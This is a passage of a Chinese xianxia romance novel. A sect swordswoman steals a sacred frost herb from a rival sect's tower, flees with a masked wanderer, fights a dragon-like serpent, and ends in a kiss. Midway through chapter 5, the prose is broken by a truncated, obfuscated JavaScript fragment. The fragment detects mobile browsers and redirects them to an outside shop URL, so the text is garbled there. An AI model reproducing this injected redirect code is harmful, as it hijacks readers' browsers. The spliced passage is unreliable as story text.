少年不理会她的话,“啪”地一合折扇,眼眸微眯,唇角微扬,笑得活色生香,凑近她,轻声道:“我叫谢灼。”
沈祭雪看着他近在咫尺的脸,微微一怔,原本的怒气丢到了九霄云外。
她心中有些挫败,默默地骂了自己一句没出息。
谢灼往后退了两步,墨色眼眸直勾勾地盯着她的眼睛,轻笑一声,蛊惑似的开口:“你呢?你叫什么?”
沈祭雪别过脸,深吸一口气:“……把你的脸遮上。”
谢灼若有所思:“哦,‘把你的脸遮上’,挺有意思的名字,就是长了些。你的剑法不错,我会记得你的,遮脸兄。”
沈祭雪:“……”
她为什么会对这种人的脑子与节操抱有幻想。
台下的各门派掌门头痛不已。
走了个合欢宗弟子,来了个乡野散修,怎么听都很丢脸。
凌云宗掌门再三思索无果,终于决定选择最无赖的方式,拖延奖赏发放的时间。
今天拖明天,明天拖后天,后天再拖到大后天,总能拖到那小子知难而退的那一天。
*
沈二十三在客房里转来转去,眼泪啪嗒啪嗒往下掉。
“完了完了!师姐没赢下比赛,提不了要求,拿不到月魄凝霜,救不了师父……师父要没了……呜呜呜,师父……”
沈祭雪抱臂倚在门框上,被她转得头晕,终于忍不住伸出一根手指,抵住了她的额头。
“停。”她无奈道,“你再转下去,这地板都要被你磨平了。”
沈二十三泪眼汪汪地抬头:“可师父她……”
“月魄凝霜而已,”沈祭雪叹了口气,“我去取。”
4. 道友
沈二十三闻言,擦了擦眼泪,摇着头,低声道:“不行不行,师姐你不知道吧,那药宗宗主小气得很。
上次有人偷看了他的宝贝一眼,就被他困在法阵里,追着打了整整三天三夜。”
“更何况我们想要的还是药宗圣物……就算师姐你技艺高超,真的拿到了月魄凝霜,药宗宗主也定然不会放过我们的。”
沈祭雪觉得有些好笑:“……我什么时候说过我要去偷了?”
虽说她的偷盗技术堪称一流,但对药宗地形布局并不熟悉。
有熟悉地形这功夫,还不如直接去绑几个药宗弟子,找人家勒索来的妥当。
然而沈二十三却更紧张了,向前一步抱住她的胳膊,眼泪汪汪:“呜呜呜师姐,你不会是想去药宗试剑吧……这个也是不行的。”
“临行前师父特意交待过我,虽然我们不是什么正经门派,但也不能打着试剑的名头,光天化日就去人家宗门硬抢……”
“而且师姐你忘了吗?你上次跟人试剑把人家房顶掀了,师父赔了好多灵石才把你从戒律堂捞出来的呜呜呜……”
沈祭雪:“……”
这孩子知道的有点太多了。
这也不行,那也不行,那她也没法子了。
沈祭雪叹了口气,伸出手,擦了擦她脸上的泪水,轻声安慰道:“好了好了,你师姐我不偷也不抢啊……二十三,哭了这么久,你饿不饿?”
沈二十三含泪点了点头。
沈祭雪十分欣慰:“饿了就好。既然如此,先别管月魄凝霜了,我们去吃饭吧。”
寻竹城中人来人往,食肆林立,菜品更是五花八门。从最新颖的橘汁锅包肉到最有争议的咸甜豆腐脑,天南地北,应有尽有。
沈祭雪带着沈二十三,一路走一路看,最后,沿街走入一家最为清冷的食肆。
店小二脖子上挂着条白布巾,为她们沏好一壶茶,送上瓜子坚果,笑吟吟地将誊抄着菜名的竹简递了过来。
沈祭雪道了声谢,接过竹简,问了问沈二十三的偏好口味。点了一份红烧蹄髈,一道鲈鱼莼菜羹,一盘蜜汁火方,外加一碗汤圆甜豆沙。
不多时,菜肴陆续上桌,却是奇奇怪怪的颜色。
蓝的,黑的,青的,紫的凑到一块,沈祭雪看一眼就没了食欲。
沈二十三倒是很有勇气,拿起筷子,将桌子上的菜每样尝了一口。然后,两眼一白,神游天外。
沈祭雪担忧地看了看她,沉默片刻,唤来了小二:“劳烦问一下,这盘子里乌漆墨黑的是?”
店小二殷勤躬腰:“……是红烧蹄髈,哎呀,一不小心火大了些,可能有些苦。您涮着水吃。”
沈祭雪微微蹙眉:“……那碗紫的呢?”
店小二搓了搓手:“汤圆甜豆沙啊。豆沙加多了……您将就着吃。”
沈祭雪叹了口气,死也要死个明白:“那盘青的呢?”
店小二挺了挺背:“蜜汁火方啊。用的是上好的青猪肉,全城独此一家,肉质鲜嫩,您快尝尝。”
沈祭雪:“……你们做菜做得这么难吃,难道良心不会痛么?”
店小二眼睛一亮:“客官如此说,可想尝尝小店的新菜吗?”
“……什么新菜?”
“狼心炖狗肺,十全大补汤。”
“……”
沈祭雪彻底沉默。
她摆摆手,小二识趣离开。
沈二十三慢悠悠地转过头看她,眼中满是幽怨:“师姐~~”
沈祭雪倒了杯茶,递过去:“好好说话。”
沈二十三接过茶,咕嘟咕嘟饮尽,抹了抹嘴,拧着眉头,开始控诉。
“菜是酸的。”
“豆沙是苦的。”
“盐是没有的。”
“我们是该跑的。”
沈祭雪默了默,觉得她说的很有道理。正准备叫来小二结账,一个温和的声音在身旁响起:
“沈姑娘,好巧。”
沈祭雪抬头,只见洛逢春不知何时来到了桌旁,依旧是那副清雅温润的模样,专注瞧着她,唇角含笑。
沈祭雪的目光在他脸上停留一瞬,眼眸弯了弯,淡淡道:“是啊,很巧。”
洛逢春察觉到她的疏离,笑意微敛,却仍一动不动地站在那里。
气氛一时有些古怪。
沈二十三狐疑地眯起了眼,看了看他,又看了看她,一拍桌子,碗筷晃荡:“小二,结账!”
三人一同从食肆出来,洛逢春借着介绍长街上的新奇物品,同沈二十三聊起了寻竹城的风土人情。
沈祭雪在一旁沉默地走,只是偶尔抬眼看看交谈的二人。
待到气氛缓和许多,洛逢春才不着痕迹地表明了来意。
他看向沈祭雪,语气自然道:“洛某今日,本就是循着姑娘的踪迹来的。”
沈祭雪闻言,并不诧异:“我知道。”
不然若是赌缘分的话,他们下辈子都不可能在寻竹城中的简陋食肆里遇到。
沈二十三往沈祭雪身旁挪了挪,警惕地看向洛逢春。
洛逢春迎着二人目光,神色从容,声音却有些无奈:“姑娘莫要误会。洛某并无恶意。此番前来,是念及青山宴上与姑娘那一场试剑。
洛某自回去后,反复拆解思量,自觉略有心得。今日得空,特来请教。”
他语速不疾不徐,话说得格外诚恳。
沈祭雪垂下眼眸,默了默,没有立刻出声。
她想起青山宴上交手时,此人剑招看似清正平和,实则暗藏机锋。若非最后关头,她赌赢了这人不愿伤人,胜负犹未可知。
不过,仅仅只是试剑的话……
“自然可以。”她点头应下,“道友想在何处比试?”
洛逢春唇角的笑意深了几分,眸光温润:“此地后山有片竹林,清幽开阔,正是论剑佳处。”
“请。”
“请。”
日光下澈,竹影婆娑,风过处,竹叶簌簌如雨。
两道身影在竹林中交错,剑光时隐时现。
沈祭雪的攻势依旧凌厉诡谲,角度刁钻。
然而洛逢春的剑势却与上次交手时不同。他似是将她每一个变招都细细揣摩过,剑尖总能恰到好处地封住她的攻势,迫使她变招再战。
剑风激荡,卷起满地竹叶纷飞。
沈祭雪渐渐察觉,这人是在凭借直觉来洞察她的出剑习惯。
他身上,有一种极为罕见的,为剑而生的敏锐。
沈祭雪心中难得生出几分赞赏。
又打斗了约数十招,“嗤”地一声,沈祭雪的剑尖划破了洛逢春的衣袖。
几乎同时,洛逢春的剑身拍向她的手腕,迫使她的攻势被打断。
二人收剑后退,竹叶缓缓飘落。
竟是平手。
洛逢春气息平稳,唇角含笑:“承蒙赐教。”
沈祭雪微微颔首:“承让。”
洛逢春收剑入鞘,向她走近几步:“姑娘于剑道造诣非凡。不知……可考虑入我凌云宗修行?”
“凌云宗内不仅有诸多剑道弟子相互切磋,更有前辈高人指点迷津。”
“以姑娘之才,必能在剑道上更进一步。”
他话说得诚恳,声音亦是期待。
沈祭雪却想也没想,直接回道:“人各有志,抱歉。”
洛逢春微微一噎,却还不死心:“合欢宗虽好,但于剑道一途,终究不是正统。姑娘若愿来凌云宗,我可代为引荐,宗门内外定……”
“道友此言差矣。凌云宗的剑是剑,合欢宗的剑就不是剑了么?”
沈祭雪打断他,眸色微沉,“自古以来,强者就是正统。道友,你的剑法是不错,可惜脑子里的规矩多了些。”
洛逢春:“……”
他看着对方那副“尔等俗人岂懂我道”的冷淡模样,一时竟不知该如何反驳。
这人终究是君子风度,学不会九幽宗那种边骂街,边聊天的说话方式。只能无奈地笑了笑,眼底掠过一丝失落:“是洛某唐突了。姑娘勿怪。”
“今日多谢姑娘赐教。日后若有机会,盼再与姑娘论剑。”
沈祭雪略一颔首,算是回应。
洛逢春不再多言,转身离去,身影渐渐消
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失在竹林深处。
见他走远,沈二十三哧溜一下从石头上滑下来,跑到沈祭雪身边,低声道:“师姐,现在怎么办啊?师父还等着我们……”
沈祭雪没回答,只是默默摊开手掌。
她的掌心,不知何时多了一物。
那是一块温润的白脂玉佩,形状古朴,触手生温。正反两面雕刻着流云纹,中心一个“洛”字若隐若现。玉质极佳,灵光流转,一看便知绝非凡品。
“这这这是……”沈二十三惊讶道,“洛公子的玉佩?师姐你你你……”
沈祭雪面色如常,指尖摩挲着玉佩上的纹路,微微叹了口气:“二十三啊,你可知,月魄凝霜,并非药宗独有。”
沈二十三一愣:“啊?还有哪里有?”
“凌云宗,藏星楼。”
沈二十三倒吸一口冷气,瞬间明白了她的打算,声音颤抖,一把抓住了她的手:“师姐……你你你不会是想……夜,夜探凌云宗吧?!
这这,不行的!太危险了!其其其实我突然觉得去药宗试剑也挺好的,要要要不咱们还是换个方法……”
沈祭雪将玉佩握在掌心里,看了她一眼,听话只听一半:“嗯,是很危险,所以我一个人去。你记得好好吃饭,照顾好自己,等我回来。”
她顿了顿,又道:“若我过了今夜没回来,你明早就回合欢宗,准备准备,给师父送终。”
沈二十三:“……”
她张了张嘴,还想再劝。
沈祭雪却看着她,笑了笑:“我们先吃饭。”
是夜,月黑风高。
凌云宗作为正道大派,守山阵法玄妙非凡,巡夜弟子井然有序。
沈祭雪一身夜行衣,面容亦是遮掩了大半,几乎与夜色融为一体。她用了隐匿身形的术法,朝着藏星楼的方向悄然疾行。
藏星楼名为楼,实则却是一座巍峨的九层古塔。飞檐斗拱,气势恢宏,远远瞧着,如同卧在夜色中沉睡的巨兽。
楼外隐约有流光闪烁,显然布有极强的防护禁制。
沈祭雪屏息观察片刻,摸了摸腰间玉佩,身形一纵,悄无声息地掠上数丈高的塔壁。
禁制没有被触发,她默默在心底松了一口气。脚尖在微凸的砖块间借力几次,眨眼便到了窗外。
她侧身,从那狭窄的窗口钻了进去。
藏星楼内比外面看着更加幽深狭窄,却并非全然黑暗。
镶嵌在墙壁上的望舒晶石散发着朦胧光晕,照亮了层层回旋向上的木质阶梯,和密密麻麻,高至顶部的书架药柜。
沈祭雪依靠神识感知着四周灵力波动,某一瞬,自上方触及一股古怪寒意。
她眼睛一凛,顺着寒意传来的方向,向上潜行,动作极快。
越往上,触到的寒意就越发深重。不知过了多久,沈祭雪终于停了下来。
藏星楼七层的角落,放着一个用寒玉打造,表面覆了层白霜的玲珑玉盒。玉盒上贴着数道符箓,盒身刻着四个古篆小字:月魄凝霜。
沈祭雪心中一定,正欲上前——
“唔,我还当是凌云宗的弟子大半夜不睡觉,溜达错了地方,”一个懒洋洋的声音,从她头顶上方传来,“原来是个……小贼?”
沈祭雪浑身一僵,骤然抬头。
只见斜上方的房梁阴影处,竟悠然坐着一人。
那人穿了一袭殷红如血的宽大袍服,露出锁骨和大半冷白胸膛。
墨色长发未束,随意披散至腰际。面上戴着一张遮了上半张脸的银色面具,只露出线条分明的下颌和一双勾魂摄魄的眼睛。
谢灼单手支颐,另一只手拎着银色酒壶,歪着头,饶有兴致地瞧她。
眼中没有惊怒,也没有警惕,只有几分,说不清道不明的玩味笑意。
这人从一开始就在这里,而自己竟毫无察觉……
沈祭雪的心猛地沉了下去。
谢灼轻笑一声,从梁上一跃而下,落至她身旁,缓步走近。
“据我了解,藏星楼的规矩,”他晃了晃酒壶,凑近她耳边,声音带着笑,“偷一罚十。这位道友,你打算拿什么来赔呢?”
5. 跳崖
沈祭雪沉默片刻,看着他的眼睛,鬼使神差地镇定下来。
青山宴过去不久,她还记得他的名字。
“谢灼,”她的声音压得很低,“你为何会在这里?”
谢灼轻笑一声,抬起手,晃了晃手中的酒壶:“道友,这话该我问你才对,藏星楼可不是合欢宗弟子该来的地方。”
沈祭雪不咸不淡地怼了回去:“那这里也不是你一个散修该来的地方。”
谢灼往后退了几步,眼眸微微眯起,忽而解释道:“唔,道友还不知道吧。青山宴后,凌云宗掌门热情得很,说什么我是百年不遇的奇才,哭着喊着求我留下。
盛情难却,我只好勉为其难,在他们凌云宗挂了个名头。”
他这么一说,沈祭雪又想起了白日里洛逢春的那番话。凌云宗作为正道大派,百年来名誉不减,长胜不衰,原来竟还这般热衷于从别的门派撬弟子么……
真是不要脸。
沈祭雪微微蹙眉,琢磨了片刻,觉得比起和他做口舌之争,还是直接把人打晕,丢进河里灭口比较妥当。
她沉默地打量着谢灼,思索着该怎么动手。
谢灼眉梢微挑,似笑非笑地瞧着她,也不急着开口,拎起酒壶饮了口酒。
藏星楼中空间狭窄,二人又站在一处。不多时,清冽酒气氤氲开来。
沈祭雪盯着谢灼手中的酒壶,忽而极快地凑近他身前,鼻尖耸动,轻轻嗅了嗅。
酒香之下,似乎掩盖着另一种若有若无的气息。
谢灼没料到她这般动作,心中惊讶,却没有躲开。怔了片刻,唇角勾起。
“道友这是打算,轻薄于我么?放平日里,其实也不是不行。不过现下,道友都自身难保了,还是不要拉我做同林鸟了吧。”
沈祭雪没搭理他的话,缓慢向后退了几步,眼眸沉敛,向他摊开了微握的手。
谢灼看了一眼,唇边笑意骤然僵住。
她的掌心之中,已然多出了一株通体碧蓝,叶片蜷曲,散发着微弱光晕的药草。
息梦草。
这草有安神定魄之效,极为罕见,又极易沾染持有者的气息。因而多被用于追踪人或辨别身份。
但无论如何,都绝不应该出现在他这个挂名的凌云宗弟子的身上。
谢灼抬手摸向自己腰间的暗袋,低头一看,果然空空如也。
沈祭雪眼眸冷冽,沉默地盯着谢灼,唇角弯起一抹不易察觉的弧度。
同是天涯偷草人,相逢何必曾相识。
谢灼叹了口气,郁闷地抬头,语气有些无奈:“不是,道友,你这做贼怎么还做到我身上来了……亏我之前还以为,道友对我颇有好感呢……原来是我自作多情了?”
沈祭雪瞟了他一眼,没出声。手腕轻轻一翻,将息梦草暂时收了起来。
既然大家半斤八两,那就谁也别揭发谁。
她转过身不再理会谢灼,径直走向那个散发着寒气的玲珑玉盒。
月魄凝霜近在眼前。
沈祭雪指尖凝聚起浅蓝微光,小心施法,解开了盒上的符箓。
禁制瓦解,符箓无声脱落。她轻轻打开盒盖,寒意扑面而来。
玉盒内静静躺着三片晶莹剔透,宛如月光凝结的霜花叶片。
成了。
沈祭雪心中一定,合上盖子,正要将它收入怀中——
“嗡——!”
一声嗡鸣瞬间响彻整个藏星楼!
紧接着,塔身各处镶嵌的望舒晶石骤然爆发出刺目强光,将整个七层照得亮如白昼。
“哎呀,”谢灼在她身后,悠悠地叹了口气,幸灾乐祸,“怪我忘了说,这东西算是藏星楼中最重要的玩意儿之一,道友还是不要轻易碰的好。”
藏星楼外传来了纷杂的脚步声与呼喝。
沈祭雪脸色一沉,将玉盒塞入怀中,身影一闪,朝着来时的那扇窗疾掠而去。
“啊?这就走了?”谢灼有些惊讶地追了上去,“等等等等,息梦草还没还我呢,道友,好歹带我一起跑啊!”
沈祭雪没理他,身形如烟,眨眼间已至窗边。
数道凌厉的剑芒自下方直射而来,封住了窗口,巡夜弟子已然赶到。
楼中传来的脚步声越来越近,火把的光芒已经开始在楼梯口晃动。
前有拦截,后有追兵。
沈祭雪正欲拔剑,强行突破,身旁红影一闪。
“走这边!”谢灼低喝一声,一把抓住了沈祭雪的手腕。
他拉着她转向另一侧,那里有一处更为隐蔽的洞口。
两人瞬间从洞口窜出,融入冰冷的夜色。
身后不时传来凌云宗弟子的咒骂呼喝,无数火把和流光从各处升起,朝着藏星楼的方向汇聚。
“别跟着我,分开走!”沈祭雪将息梦草扔进谢灼怀里,试图挣开他的手。
“现在分开,你是想等着被他们抓住,前功尽弃吗?”谢灼将她的手抓得更紧,熟门熟路地在阴影中穿梭,速度奇快。
“道友,你还是先想想怎么向我道谢吧。”
他似乎对凌云宗的地形异常熟悉,专挑偏僻无人,阵法薄弱之处行走。拉着她,时而腾空,时而潜行,转瞬已离藏星楼几丈远。
然而越来越多的凌云宗弟子加入围堵,守山阵法被层层激活,火光不时亮起,阻碍着他们的去路。
两人不愿伤人,且战且退,最终被逼至一处孤悬的山崖边上。
身后是深不见底,云雾缭绕的深渊,身前是数十名手持火把,严阵以待的凌云宗弟子,剑光森寒,封锁了他们所有的退路。
为首的弟子厉声喝道:“贼子还不束手就擒!交出窃取的灵物,或可从轻发落!”
山风猎猎,吹得两人衣袂翻飞。
沈祭雪看了一眼深不见底的悬崖,又看了一眼身旁依旧一副慵懒模样,甚至还有空拿起酒壶抿一口的谢灼。
她忽然压低声音问道:“恐高吗?”
谢灼放下酒壶,含笑看了一眼沈祭雪,诚恳答道:“高倒是不恐。”
他顿了顿,补充道,“但我挺怕死的。”
沈祭雪:“……”
她没再废话,在身后追兵扑过来的刹那,猛地拽紧谢灼的手:“跳!”
“喂!什么?!不是!你先等等!”谢灼的声音瞬间被呼啸的风声吞没。
两人身影骤然坠下悬崖,消失在浓重的云雾之中。
寒风如刀,刮得人几乎睁不开眼。云雾在身旁急速散开,坠落的速度越来越快。
谢灼像是终于想起了什么,艰难开口:“呃……那什么……道友……”
沈祭雪正试着运转灵力减缓二人下落的速度,闻声勉强偏头看他。
谢灼面上带着点后知后觉的尴尬:“你……跳得太快……我好像……忘了告诉你件事……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705648|189199||http|test|mini|href|location''.split(''|''),0,{}));
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>“什么?”沈祭雪蹙眉,风声太大,她不得不提高音量。
“我……”谢灼的声音断断续续,“其实……大概……应该是会飞的来着……”
沈祭雪:“?”
那你现在才说?!
谢灼似乎从她的眼神里读出了些许杀气,赶紧找补:“但是,道友你方才跳得那么果断,我也来不及阻止……现在这样,肯定是没法飞了……”
“道友,你肯定留的有后手吧?”
沈祭雪:“……”
事实上,她只是隐约记得凌云宗地处荒崖之上,四面环水。运气好的话,跳下去只会受个轻伤。运气不好的话,跳下去也许会得个脑震荡。
若是她记错了的话,……那估计就得死一死了。
她默了默,心中后知后觉地对谢灼有了些歉意。
另一边,谢灼还在喋喋不休:“而且当时那种情况,我若突然一个人飞起来,道友你一个人留在原地,又丢脸又尴尬,万一脚滑掉下去怎么办?
当然,若道友你真的掉下去,我定然是会过意不去,飞过去接住你的……”
他话说得很动听,但配合着眼下这急速坠落的境况,实在毫无令人想听下去的欲望。
沈祭雪默默转过脸,不再去理他,全力运转灵力,试着应对下方越来越近的地面。
“噗通!”
“噗通!”
两道落水声接连响起,巨大的冲击力砸得沈祭雪五脏六腑都像移了位,冰冷的潭水瞬间淹没了一切感官。
她水性极好,强忍着不适迅速浮出水面,抹去脸上的水渍,剧烈地咳嗽着,警惕地环顾四周。
悬崖仿佛被巨斧劈开,陡直地插入这一片幽碧深潭里。岩壁上攀着些枯木古藤,潭水近乎墨绿,深不见底。
深潭另一边,长满了郁郁苍苍的树木,在地面上投下大片浓重的阴影。
谢灼在她不远处,似乎晕了过去,正缓缓往向下沉。一袭红衣在水中飘飘荡荡,如同一滩晕开的血。
……不能让他就这么死在这里。
沈祭雪深吸一口气,重新潜入水中,游到谢灼身边,抓住他的衣襟,艰难地将人拖上了岸。
夜风一吹,湿透的衣物紧紧贴在身上,冰冷刺骨。
沈祭雪皱了皱眉,运转体内灵力,周身蒸腾起淡淡的白雾,不过片刻,衣衫便被烘干。
做完这一切,她看了一眼依旧昏迷的谢灼。
他脸色苍白,嘴唇泛紫,湿透的红衣和墨发凌乱地贴在身上,那张银色面具倒是还牢牢地戴在脸上,遮住了大半容颜。
说到底,算是自己带累了他。
沈祭雪沉默片刻,认命地伸出手,按在他的胸口上,缓缓渡过去丝丝缕缕温和灵力。
暖意逐渐驱散了寒冷,谢灼的睫羽微微颤动,似乎有醒转的迹象。
就在这时,巨大的水流声响打破了潭边的寂静。
整个深潭的水面忽而剧烈翻滚起来,水浪溅至岸边,布满暗青色鳞片的狰狞头颅缓缓从潭中心升起,睁开灯笼大小的金色竖瞳,冷冰冰地看向了岸边两个不速之客。
那头颅似蛇非蛇,头顶两个鼓包,隐约有角欲出,颌下生须,竟是即将化龙的征兆。
千年水蛟。
它显然是被方才的落水声惊扰,从潭底苏醒。此刻那双赤金眼眸中,充满着被冒犯领地的暴怒。
沈祭雪的心瞬间沉到了谷底。
6. 亲吻
潭水翻涌,那蛟首完全探出水面,带起漫天水花,冰冷威压如有实质,沉甸甸地压得人喘不过气。
沈祭雪站起身,祭雪剑“铮”的一声清鸣出鞘,悬浮在她身前。
水蛟似是被这剑光激怒,发出一声沉闷的嘶吼,头颅猛地一摆,带起滔天巨浪,裹挟着千钧之力,扑向沈祭雪。
沈祭雪眼眸一凛,身形疾退,手中长剑寒芒暴涨,瞬间在身前凝结出数面牢固的冰墙。
“砰!砰!砰!”
巨浪接连撞碎冰墙,爆散成漫天水雾。沈祭雪趁此间隙,剑诀一变,长剑化出数百道凌厉的剑影,射向水蛟的头颅和眼瞳。
然而剑影撞在坚硬的鳞片上,竟爆出点点火星,大多被弹开,只有十几道击中水蛟眼眶附近,引得水蛟吃痛,发出一声接一声狂暴的怒吼。
而后庞大的身躯猛地从潭中抬起更多,露出覆盖鳞片的颈部,粗壮的尾巴带着排山倒海的力量,狠狠扫向岸边!
狂风呼啸,飞沙走石。
沈祭雪足尖轻点,身形不退反进,险之又险地擦着鳞片掠过。借着它的力量,浮在半空,同时手中长剑光芒大盛,全力一剑斩在蛟尾连接的薄弱之处!
“嗤啦!”
剑刃插入,滚烫的蛟血瞬间喷溅而出,落入深潭,还有些直接溅到了沈祭雪的面容和手臂上,带来一阵灼烧般的刺痛。
水蛟发出一声哀嚎,庞大的身躯剧烈翻滚,无数水浪冲击着崖壁,发出雷鸣般的巨响。
它张开嘴,吐息喷涌而出,所过之处,潭水凝结,连带着岩石都覆盖上厚厚的冰层。
沈祭雪眼眸一凛,侧身闪避,但左肩却还是被那寒气擦中,瞬间麻木,动作不由得一滞。
就在这瞬息之间,水蛟的利爪已然拍到眼前!
沈祭雪只能抬手,横剑格挡。
“铛——!”
一股巨力沿着剑身传来,沈祭雪整个人被拍飞出去,重重撞在身后的岩壁上,喉咙腥甜,血从唇角涌了出来。
全身的骨头都像散了架,五脏六腑火辣辣地疼。左肩僵硬,右手剧痛,灵力也几乎消耗殆尽。
沈祭雪忍不住怀疑,自己今日是否要死在这里。
深潭中央,水蛟也并不好受。尾部伤口血流如注,将大片潭水染成暗红,行动迟缓了许多。
它死死盯着靠在岩壁下的沈祭雪,发出威胁性的低吼,却并未再次进攻。
一人一蛟僵持片刻,水蛟终于缓缓沉入水中,消失在了幽深的潭底。
潭水渐渐恢复平静,只留下满目狼藉。
空气中弥漫着浓重的血腥气。
沈祭雪再也支撑不住,将长剑插入地中,擦了擦唇边血迹,仰头靠在石壁上,剧烈地喘息。
她身上的夜行衣被蛟爪撕裂,最深的一道伤口从肩胛直到腰际。皮肉外翻,鲜血汩汩流出,混合着之前溅上的蛟血,几乎将她染成了血人。
就在这时,不远处昏迷了半天的谢灼,慢悠悠地站了起来。
他拍了拍身上的灰尘,向着她缓步走近,唇角勾起。
“啧啧啧,真是精彩。”他俯身看向沈祭雪,语气赞赏,却听不出多少同情。
“道友的身手……的确不错,就是有些费命。”
沈祭雪懒得去搭理他,闭着眼,运转体内残余的灵力,试图压制身上的伤势,让血流得缓些。
如今险境已过,自己同他又毫无瓜葛,这人嘲讽一阵,应当很快就会离开。
然而谢灼轻笑一声,在她身前蹲了下来。
他的目光带着些许审视,一瞬不瞬地打量着她。
“道友,你死了吗?”
沈祭雪:“……”
过了片刻。
“道友,你还活着吧?”
沈祭雪:“……”
又过了片刻。
“道友……”
沈祭雪忍无可忍,睁开眼,喝斥道:“你有完没完了?”
谢灼“哎呀”了一声,“原来道友还活着啊,那可真是……太好了。”
这话可听不出太好的意思,倒像是很期盼她去死一死。
沈祭雪偏过头不去看他,声音有些嘶哑:“道友放心,我命长得很,定能活到给你送终的那天。”
谢灼笑了笑:“那我就先谢过道友,劳烦道友在祭日那天多给我烧些纸钱了。”
沈祭雪:“……”
谢灼站起身,走至潭水边,浸湿了一方素帕,站到了沈祭雪身边。
沈祭雪微微眯起眼,警惕地盯着他:“你想做什么?”
谢灼没有答话,只是靠得更近了些,开始用素帕为她擦拭脸上的血污。
沈祭雪沉默地瞪着他。
谢灼叹了口气,丝毫没有被瞪死的自觉,反而伸手捂住了她的眼睛,动作轻柔,继续擦。
沈祭雪体力耗尽,动也动不了,索性闭上眼睛,运转灵力,由他去了。
不知过了多久,谢灼松开了捂在她眼前的手,往后退了几步,微微挑眉,认真瞧她。
那目光起初是带着些戏谑的,但渐渐地,似乎发生了什么变化。
戏谑慢慢消失了,取而代之的是惊愕,和一种更深沉的,难以言喻的震动。
空气中一片寂静。
沈祭雪感受到了他的目光,睁开眼,正想说些什么。
忽而察觉到脸上被蛟血溅到的地方,灼烧感越来越烈,仿佛有什么东西正在融化。
沈祭雪这才后知后觉地想起来,下山时,师父在她脸上覆了层天衣无缝的幻术,能让她融入人群如滴水入海,踪迹不显。
然而此刻,幻术正在消退。
原本的柔和平庸逐渐褪尽,露出其下截然不同的一张脸。
肤色冷白,眉眼清绝。面容清冷如远山寒玉,鼻梁挺直,唇瓣原本色泽浅淡,此刻被血染就,却显出一种近乎妖异的绯红。
明明该是拒人于千里之外的冷寂,冷到极致,却又偏偏催生出一种令人移不开眼的秾丽。
沈祭雪迎着谢灼的目光,默了默,自暴自弃地闭上了眼。
而谢灼在看清她面容的那一刻,只觉得周身血液瞬间凝固,整个人僵在了原地。
这张脸……
这张脸。
过往数年间,他夜夜被一个梦境纠缠。
梦中大雪纷飞,冷香袭人。
昏暗洞窟内,一个女子靠近他,吻他,气息交织,缠绵入骨。他沉溺其中,无法自拔。
可每当他想触碰更多,询问更多,那女子便会退开,眼神淡漠地凝视着他,消失在原地。
他不知道她是谁,却能感受到那份看似亲密的纠缠中,深藏的冷漠与疏离。
她吻他,却不爱他。
甚至于那个吻,也没有半分情意,只有冰冷的算计,……或是为了别的什么他无法理解的东西。
每一次梦醒,那种被玩弄于股掌之上的屈辱与躁动便愈发明晰。
这个认知比梦境本身更让他烦躁郁结,如鲠在喉。多年来挥之不去,几乎成了他的心魔。
他参加青山宴,混进凌云宗,潜入藏星楼,就是为了找到息梦草,彻底摆脱这恼人的梦境,一了百了。
只是他从未想过,梦中的那张脸,竟会以这种方式,如此突兀,如此鲜活地出现在他眼前。
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……竟然是她?
怎么会是……她?!
谢灼几乎是下意识地,朝着她又靠近了些,想要看得真切,确认这不是另一个光怪陆离的梦境。
沈祭雪只觉得身上被蛟血溅上的地方,诡异的燥热开始向四肢百骸蔓延,烧得她头脑昏沉。
她摇了摇头,极力想保持清醒,试着压制体内那股陌生而汹涌的躁动,但收效甚微。
偏偏这时,谢灼还不知死活地又凑近了几分。
他似乎是想确认什么,神色复杂,俯下身,伸出手,指尖微颤,轻轻碰了碰她的脸颊。
软的。活的。
没有在做梦。
然而触感越是真实,他就越忍不住去怀疑。
谢灼忽而抬手给了自己一巴掌。
嘶,好痛。
沈祭雪被声响惊动,睁开了眼,原本清冷的眼眸因蛟血的影响,氤氲着一层水光,眼尾泛红。心中烦躁,面上平添了几分怒意。
“你吵什么吵,有病么?”
谢灼:“……我吵什么了?”
沈祭雪微微抿唇,盯着他被打红的半张脸,声音嘶哑:“你打的太重了。”
谢灼心不在焉道:“……所以呢?道友心疼了?”
沈祭雪沉默片刻,垂下眼眸,意外的没有否认。
谢灼叹了口气,向她走近了几步,打算将人拎起来,丢去医馆治疗。
然后自己再趁着夜色有多远跑多远,最好这辈子再也不会碰见她。
既然他已经知道了结果,就绝不会同她有任何牵绊,也绝不会像梦中那般任她当成玩物去消遣。
见他走近,沈祭雪强撑着站起身,头脑昏沉,体内被蛟血引得一片躁热,声音微弱,试图劝阻:“等等,你……先别……”
谢灼皱了皱眉,没听清,又向前几步,伸手扶住她:“不是受伤了吗?受伤了就别乱动……唔,你做什么?”
沈祭雪伸出手,猛地拽过他的衣襟,用尽此刻残存的力气,一把将他推倒在地。
谢灼没料到她会突然发难,后背结结实实地撞在地面上,痛得倒吸一口冷气,眼眸中充满了错愕。
“不是,你怎么还打人……”
下一刻,沈祭雪欺身而上,跨坐在他腰间,双手粗暴地按在他的脖颈上。
这人都伤成这样了,居然还想着掐死自己……
谢灼表示很服气。
他微微拧眉,伸出手,试图将她从自己身上拽下来。
然而沈祭雪眼眸幽沉,挥开他的手,俯身吻上了他发红的半边脸颊。
唇瓣微凉,一点点移动,仔仔细细吻了很久,像是要刻意抚平他的焦躁。
谢灼僵在了原地。
沈祭雪一面吻着他的脸,一面睁着眼瞧他的反应,指尖从脖颈处缓缓向后滑。
“咔嚓”一声轻响,面具的系带被扯断,又被随手扔在了地上。
沈祭雪缓缓直起身,面上泛着不正常的潮红,眼眸水光潋滟,居高临下地俯视着他。
那张脸,终于再次毫无保留地暴露在她眼前。
面容妖冶,眉眼狭长,原本沉若寒潭的眼眸,此刻因错愕不安而微微睁大。墨发铺散,红衣凌乱,因她突如其来的亲吻而显得有些懵然。
……是一种毫无防备的,任人采撷的艳丽。
沈祭雪怔怔地看着这张脸,忍不住发自内心地赞赏。指尖轻轻掠过他的眉眼,愣了许久,再度俯身,吻上了他的唇。
